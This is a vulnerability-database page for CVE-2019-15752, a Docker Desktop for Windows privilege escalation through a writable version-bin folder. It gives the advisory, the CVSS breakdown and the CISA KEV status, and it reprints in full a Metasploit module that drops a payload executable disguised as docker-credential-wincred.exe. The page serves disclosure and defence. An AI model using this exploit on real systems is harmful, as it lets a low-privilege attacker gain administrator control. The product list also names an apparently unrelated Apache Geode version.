CVE-2019-15752 : Detail

CVE-2019-15752

7.8
/
High
0.69%V3
Local
2019-08-28
20h24 +00:00
2025-02-04
20h14 +00:00
CVE.org
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CVE Descriptions

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-credential-wincred.exe file in %PROGRAMDATA%\DockerDesktop\version-bin\ as a low-privilege user, and then waiting for an admin or service user to authenticate with Docker, restart Docker, or run 'docker login' to force the command.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-732 Incorrect Permission Assignment for Critical Resource
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Docker Desktop Community Edition Privilege Escalation Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 48388

Publication date : 2020-04-27 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Post::Windows::Priv include Post::Windows::Runas def initialize(info = {}) super( update_info( info, 'Name' => 'Docker-Credential-Wincred.exe Privilege Escalation', 'Description' => %q{ This exploit leverages a vulnerability in docker desktop community editions prior to 2.1.0.1 where an attacker can write a payload to a lower-privileged area to be executed automatically by the docker user at login. }, 'License' => MSF_LICENSE, 'Author' => [ 'Morgan Roman', # discovery 'bwatters-r7', # metasploit module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [[ 'Automatic', {} ]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 15 }, 'DisclosureDate' => '2019-07-05', 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'References' => [ ['CVE', '2019-15752'], ['URL', 'https://medium.com/@morgan.henry.roman/elevation-of-privilege-in-docker-for-windows-2fd8450b478e'] ] ) ) register_options( [OptString.new('PROGRAMDATA', [true, 'Path to docker version-bin.', '%PROGRAMDATA%'])] ) end def docker_version output = cmd_exec('cmd.exe', '/c docker -v') vprint_status(output) version_string = output.match(/(\d+\.)(\d+\.)(\d)/)[0] Gem::Version.new(version_string.split('.').map(&:to_i).join('.')) end def check if docker_version <= Gem::Version.new('18.09.0') return CheckCode::Appears end CheckCode::Safe end def exploit check_permissions! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end # make payload docker_path = expand_path("#{datastore['PROGRAMDATA']}\\DockerDesktop\\version-bin") fail_with(Failure::NotFound, 'Vulnerable Docker path is not on system') unless directory?(docker_path) payload_name = 'docker-credential-wincred.exe' payload_pathname = "#{docker_path}\\#{payload_name}" vprint_status('Making Payload') payload = generate_payload_exe # upload Payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) vprint_status('Payload Upload Complete') print_status('Waiting for user to attempt to login') end def check_permissions! unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin # is_in_admin_group can be nil, true, or false end end

Products Mentioned

Configuraton 0

Docker>>Docker >> Version To (excluding) 2.1.0.1

Microsoft>>Windows >> Version -

Configuraton 0

Apache>>Geode >> Version 1.12.0

References